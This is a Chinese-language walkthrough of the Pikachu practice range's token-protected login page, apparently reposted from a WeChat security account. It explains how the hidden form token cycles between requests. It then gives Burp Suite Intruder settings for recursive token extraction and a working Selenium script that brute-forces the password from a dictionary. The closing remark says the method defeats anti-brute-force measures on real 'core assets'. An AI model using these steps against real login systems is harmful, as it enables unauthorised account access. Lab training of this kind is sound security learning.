【Pikachu 靶场精讲】Token 防爆破

admin 2023年12月11日16:21:27评论11 views字数 3216阅读10分43秒阅读模式

什么是 Token(令牌)

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个 Token 便将此 Token 返回给客户端,以后客户端只需带上这个 Token 前来请求数据即可,无需再次带上用户名和密码

此外,Token 是有时效的,一段时间之后用户需要重新验证,但我们也不一定需要等到 Token 自动失效,Token 有撤回的操作,通过 token revocataion 可以使一个特定的 Token 或是一组有相同认证的 Token 无效

Pikachu 靶场实战

Token 是如何工作的

通过 Burp Suite 进行抓包,我们可以发现请求中包含了一条 Token 字段【Pikachu 靶场精讲】Token 防爆破

发现具体的 Token 数值后,我们在前端页面发现此值,发现 Token 在前端的变量名叫做Value【Pikachu 靶场精讲】Token 防爆破

通过查询后端 PHP 代码,找到对应的后端代码【Pikachu 靶场精讲】Token 防爆破

通过变量名token我们还可以发现后端的登录逻辑判断代码【Pikachu 靶场精讲】Token 防爆破

回看前端,Token 所属的HTML <input>标签类型是hidden,相当于每次随着表单(POST)隐形提交了 Token 值,只不过这个值在前端默认是不可见的,若我们将标签类型改为text则可以看到 Token 值也出现在前端

HTML input 标签类型属性 text:默认,定义单行输入字段,用户可在其中输入文本,默认是 20 个字符 hidden:定义隐藏输入字段

【Pikachu 靶场精讲】Token 防爆破

到此,整个 Token 的运行逻辑就已清晰,当首次请求时,会收到一条包含 Token 的响应包,当我们在同一页面进行第二次请求时,则会提交上一次的 Token 并获取下一次请求所需的 Token,并以此原理不断循环下去

最优解法

既然我们已经知道当前的响应会包含上一次所需的 Token,那我们就可以使用工具对上一次响应包中的 Token 进行提取,放入下一次的请求当中,形成一个递归的循环,至此理论成立,开始实践【Pikachu 靶场精讲】Token 防爆破

使用 Burp Suite 对页面进行抓包,并发送到 Intruder 模块,标记 Payload,并使用交叉(Pitchfork)模式,这里只能爆破两个参数,所以要已知用户名或密码时才能使用【Pikachu 靶场精讲】Token 防爆破

之后在设置中打开提取功能,添加提取 Token 的表达式,这里直接双击需要匹配的字段即可,Burp Suite 会自动给出表达式,设置好后点击确定即可(不要忘记勾选“从响应包中提取以下项目”)【Pikachu 靶场精讲】Token 防爆破

同时我们这里要将线程设置为 1,否则多线程爆破后 Token 会无法被匹配到(对于每一个包返回来的token值都是不一样的,所以我们只能选择单线程进行攻击)【Pikachu 靶场精讲】Token 防爆破

并将最下方的重定向(Redirections)选择为总是(Always),如果不点上这个就不会打开 HTML 包的 body 部分,因为 Token 值是存储在 body 的 hidden 部分,那么也就不会自动获取 Token 值,我们也就不能绕过它进行暴力破解了【Pikachu 靶场精讲】Token 防爆破

最后,将Payload-1(用户名/密码)设置为正常字典,Payload-2(Token)设置为递归提取即可,进行爆破,最终结果如下,从这里我们也可以看到,上一次返回报文中的 Token 值,被用在了下一次需要提交的值中【Pikachu 靶场精讲】Token 防爆破

通用解法 —— 模拟人工进行爆破

使用工具:

  • Selenium
  • Firefox / Chrome

配置环境

什么是 Selenium

Selenium 可以模拟真实用户对URL中的元素进行操作,例如部分网站采用了一些流量校验算法,会将数据包中的进行加密,如果不能解密就加密的算法就很难使用 Burp Suite 进行操作,而使用Selenium 可以模拟人操作网站的行为,如果目标网站开启了一些校验,这些也会自动经过校验处理。而 Burp Suite 是直接跳过了这些操作,直接向服务器发送数据包,固然会校验失败

Selenium 环境配置

首先需要安装 Selenium 的 pip 库(从 Selenium 4.6 开始,Selenium 会为您下载正确的驱动程序,所以无需手动确认浏览器的启动版本是否匹配)

pip install selenium

若能成功运行此代码并自动打开www.baidu.com且在 10 秒后关闭则代表环境正常

from selenium import webdriver
from selenium.webdriver.common.by import By
import time

browser = webdriver.Chrome()
browser.get("http://www.baidu.com")
time.sleep(10)

Pikachu 靶场实践

基于以上配置,我编写了针对 Pikachu 靶场 Token 防爆破页面的模拟人工脚本

from selenium import webdriver

from selenium.webdriver.common.by import By

import time

  
  

browser = webdriver.Chrome()

  

browser.get("http://127.0.0.21/vul/burteforce/bf_token.php"#需要打开的URL

  

time.sleep(1)

  

passwords = open(r'C:UserswuhudxxDesktoptestpass.txt','r',encoding="utf-8"#字典路径

passwords.seek(0)

for password in passwords:

        find_login_box = browser.find_element(by=By.XPATH, value='/html/body/div[2]/div[2]/div/div[2]/div/div/form/label[1]/span/input'#用户名输入框位置

        find_pass_box = browser.find_element(by=By.XPATH, value='/html/body/div[2]/div[2]/div/div[2]/div/div/form/label[2]/span/input'#密码输入框位置

        find_button = browser.find_element(by=By.XPATH, value='/html/body/div[2]/div[2]/div/div[2]/div/div/form/label[3]/input'#提交按钮位置

  

        password = password.strip()

        find_login_box.send_keys('pikachu'#用户名

        find_pass_box.send_keys(password)

  

        time.sleep(1)

        find_button.click()

  

        loginYN = browser.find_element(by=By.XPATH, value='/html/body/div[2]/div[2]/div/div[2]/div/div/p').text #寻找回显信息

        if loginYN == "login success":

            print("爆破成功,密码为:"+ password)

            browser.quit()

        time.sleep(2#间隔时间

最终成功爆破出密码,运行效果如下【Pikachu 靶场精讲】Token 防爆破

总结

此种方法可无视网站中的加密和防止爆破手段,但编写脚本较为繁琐,建议针对核心资产时使用此种方法,若有脚本定制化需求,可参考以下资料:

  • 利用 Selenium 绕过前端 js 加密及验证码爆破(本文有些写法已经不再被支持,可参考编写思路,具体语法请见官方文档)
  • Selenium 官方中文文档

原文始发于微信公众号(天禧信安):【Pikachu 靶场精讲】Token 防爆破

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月11日16:21:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Pikachu 靶场精讲】Token 防爆破http://cn-sec.com/archives/2287158.html

发表评论

匿名网友 填写信息